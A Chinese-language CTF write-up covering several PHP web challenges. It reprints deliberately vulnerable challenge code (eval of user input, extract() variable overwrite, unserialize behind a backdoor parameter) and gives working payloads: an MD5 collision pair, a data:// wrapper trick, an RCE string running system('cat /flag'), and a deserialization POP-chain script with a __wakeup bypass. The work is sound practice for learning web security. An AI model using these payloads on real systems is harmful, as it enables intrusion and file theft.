0%

wp

wp

1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
error_reporting(0);
header('content-type:text/html;charset=utf-8');
if(isset($_GET['I_am.IKUN'])){
if ((string)$_POST['a'] !== (string)$_POST['b']){
if (md5($_POST['a']) === md5($_POST['b'])){
if(preg_match('/Hnu_CtfisFun$/', $_GET['Hnu_Ctf']) && $_GET['Hnu_Ctf'] !== 'Hnu_CtfisFun'){
$getflag = file_get_contents($_GET['flag']);
}
else die('Hnu_Ctf is not fun ! qwq 555555~');
if(isset($getflag) && $getflag === 'BoogipopIsGod'){
include 'flag.php';
echo $flag;
}else die('WDF,Air is gooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooood,too!');
}
else die("hash hash hash!");
}
else die("string string string!");
}
else die('WDF?you are not ikun!给👴爪巴');
?>

代码审计,需要用GET方式传入I_am.IKUN,这里就有一个小点,php特性,所以我们要把_换成[,在传入后就会自动识别为_,

image.png

然后就是用post方式绕过md5强碰撞,在网上找了好几个payload,没一个有用,最后才找到有效的payload,用burpsuite抓包之后,成功返回

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2

之后就是一个正则匹配的绕过,$这个符号表示从末尾开始匹配,那么我们只需要使传入的参数前面加上任意字符即可,

file_get_contents:用文件的方式读取该参数,因此使用DATA伪协议进行传参

最终payload

GET:?I[am.IKUN=1&Hnu_Ctf=aaaHnu_CtfisFun&flag=data://text/plain,BoogipopIsGod

POST:a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2

得到flag

屏幕截图 2023-08-22 155238.png

2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
highlight_file(__FILE__);
error_reporting(0);
mb_internal_encoding("UTF-8");

$allowed = true;
$cmd = $_GET['cmd'];
$ban_list = ["cat", "flag", ";", "&", "|", "`", "$", "<", ">", "?", ".", "*", "/", "system", "passthru", "exec"];

foreach ($_GET as $param) {
foreach ($ban_list as $ban_item) {
if (strpos($param, $ban_item) !== false) {
$allowed = false;
}
}
}

if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b']) {
if ((md5($_GET['a']) == md5($_GET['b'])))
extract($_GET);
}
}

if ($allowed) {
eval($cmd);
} else {
echo "Nope!";
}
?>

涉及知识点:md5弱比较,

3.

打开网页,根据提示,下载准备好的字典,放到之前收集过的爆破字典目录下,进行爆破,环境现在打不开,我就拿之前写的题的图大致讲个流程

image.png

首先选择好我们要爆破的参数

image.png

导入字典,爆破,即可得到密码为SSXmMs123!如果没记错

然后就可以开始冤种的点击一千下了(这是冤种示范)

一开始想过用burpsuite重复发包,然后失败,原因是cookie值在我们发包是不会自己改变的,在后端进行了限制

正确的做法呢,是我们搞一个pythen的脚本,让电脑自己给我们点,科技解放双手,由于本人没有学过pythen,也没有配置环境,所以,就这样吧.

4.

简单的游戏以及简单的rce,题目是这么描述的

首先我们打开网页,就可以得到一个游戏的界面,因为之前写过几道js的题目,所以第一反应是找到js源码,尝试f12和ctrl+u都被禁止了,然后就尝试使用浏览器的按键功能

image.png

在这里我们就可以打开控制台,看到关键信息,打开game.js

image.png

一眼看过去,什么也不是,细看,可以发现有一段编码,看到有==,尝试base64解码

image.png

然后,我们跳转到a_secret.php界面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
highlight_file(__FILE__);
error_reporting(0);
mb_internal_encoding("UTF-8");

$allowed = true;
$cmd = $_GET['cmd'];
$ban_list = ["cat", "flag", ";", "&", "|", "`", "$", "<", ">", "?", ".", "*", "/", "system", "passthru", "exec"];

foreach ($_GET as $param) {
foreach ($ban_list as $ban_item) {
if (strpos($param, $ban_item) !== false) {
$allowed = false;
}
}
}

if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b']) {
if ((md5($_GET['a']) == md5($_GET['b'])))
extract($_GET);
}
}

if ($allowed) {
eval($cmd);
} else {
echo "Nope!";
}
?>

这题一开始没什么思路,后来想,既然需要md5绕过,那么这个extract($_GET);就一定是有用的,直接百度,和它配套出现的就是变量覆盖,那么我们接下来就围绕这两点展开

PHP extract() :该函数从数组中把变量导入到当前的符号表中。对于数组中的每个元素,键名用于变量名,键值用于变量值。

概念非常抽象,但是大概明白了它的意思,再结合同名变量覆盖,最终我们的payload=?a=QNKCDZO&b=240610708&allowed=true&ban_list=&cmd=system(‘cat /flag’);

我害怕不保险就直接两个都该了,这段代码首先绕过md5触发extract($_GET);然后再给一个与最后判断变量名相同的变量,赋值为true以及匹配是否有黑名单内容的变量ban_list变量覆盖为空,这样我们的rce就可以正常读取了,题目给了提示flag在根目录下的flag文件夹内,直接读取

image.png

5.

这一题前面就是信息搜集和提取,进入页面

image.png

写过类似,所以首先我想到的就是去出题人的Github主页

image.png

看到题目名字直接点进去

image.png

下载源码,反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?php
error_reporting(0);

class User
{
public $username;
public $password;
public $isAdmin = false;
public $class;

public function __construct()
{
$this->class = 'home';
}

public function __destruct()
{
echo $this->class;
}

public function __toString()
{
return __CLASS__;
}
}

class Debug
{
public $var1;
public $var2;

public function __wakeup()
{
$this->var1 = 'Hnu';
$this->var2 = 'Sec';
}

public function checkFunc()
{
($this->var1)();
}

public function __toString()
{
return $this->var2->checkFunc();
}
}

class CheckPassword
{
public $var1;

public function checkUserPassword()
{
// Use your own password file instead.
include "Se23dfddfes35s.php";
echo $FLAG;
}

public function __invoke()
{
$this->checkUserPassword();
}

public function __toString()
{
return __CLASS__;
}
}

if (isset($_POST['username']) && isset($_POST['password'])) {
$username = $_POST['username'];
$password = $_POST['password'];
if ($username == 'admin' && $password == '-d2@3e*df0e_fk3') {
echo '<script>alert("猜对了,可是这又有什么用呢?")</script>';
echo '<meta http-equiv="refresh" content="0;url=index.html">';
} else {
echo '<script>alert("密码错误,继续猜!")</script>';
echo '<meta http-equiv="refresh" content="0;url=index.html">';
}
}

if (isset($_POST['B4CK_D00R']) && $_GET['K3Y_A'] == '-d2@3e*df0e_fk3') {
$a = $_POST['B4CK_D00R'];
unserialize($a);
}

倒推的pop链

1.CheckPassword->checkUserPassword 2.CheckPassword->__invoke 3.Debug->checkFunc 4.Debug-> __toString() 5.User->__destruct

还有一个wakeup绕过

因此,我们构造时就要反过来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
error_reporting(0);

class User
{
public $username;
public $password;
public $isAdmin = true;
public $class;

}
class Debug
{
public $var1;
public $var2;
}

class CheckPassword
{
public $var1;

}

// if (isset($_POST['B4CK_D00R']) && $_GET['K3Y_A'] == '-d2@3e*df0e_fk3') {
// $a = $_POST['B4CK_D00R'];
// unserialize($a);
// }

$a=new User();
$a->class=new Debug();
$a->class->var2=new Debug();
$a->class->var1=new CheckPassword();
$a1=serialize($a);
$b=preg_replace('/4:{s:8/','5:{s:8',$a1);
echo ($b);

$a->class->var2=new Debug();

$a->class->var1=new CheckPassword();这个地方犯了一个错,

其实也还是因为反序列化不够熟悉吧,这个我们需要的是通过var2调用到checkfunc这个函数,再利用函数内的var1去调用CheckPassword,但是按照我所写的那样赋值的话,var1与var2是同等级的关系,所以,我们要分开写

1
2
3
4
5
6
7
8
9
$a=new User();
$b1=new Debug();
$b2=new Debug();
$c=new CheckPassword();
$a->class=$b1;
$b1->var2=new $b2;
$b1->var2->var1=$c;
$a1=serialize($a);
echo ($a1);

然后再绕过wakeup修改debug的成员数量即可

image.png

应该就可以得到flag了


来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/rapbgq0rhm9vm7u1
语雀文档ID: 137058815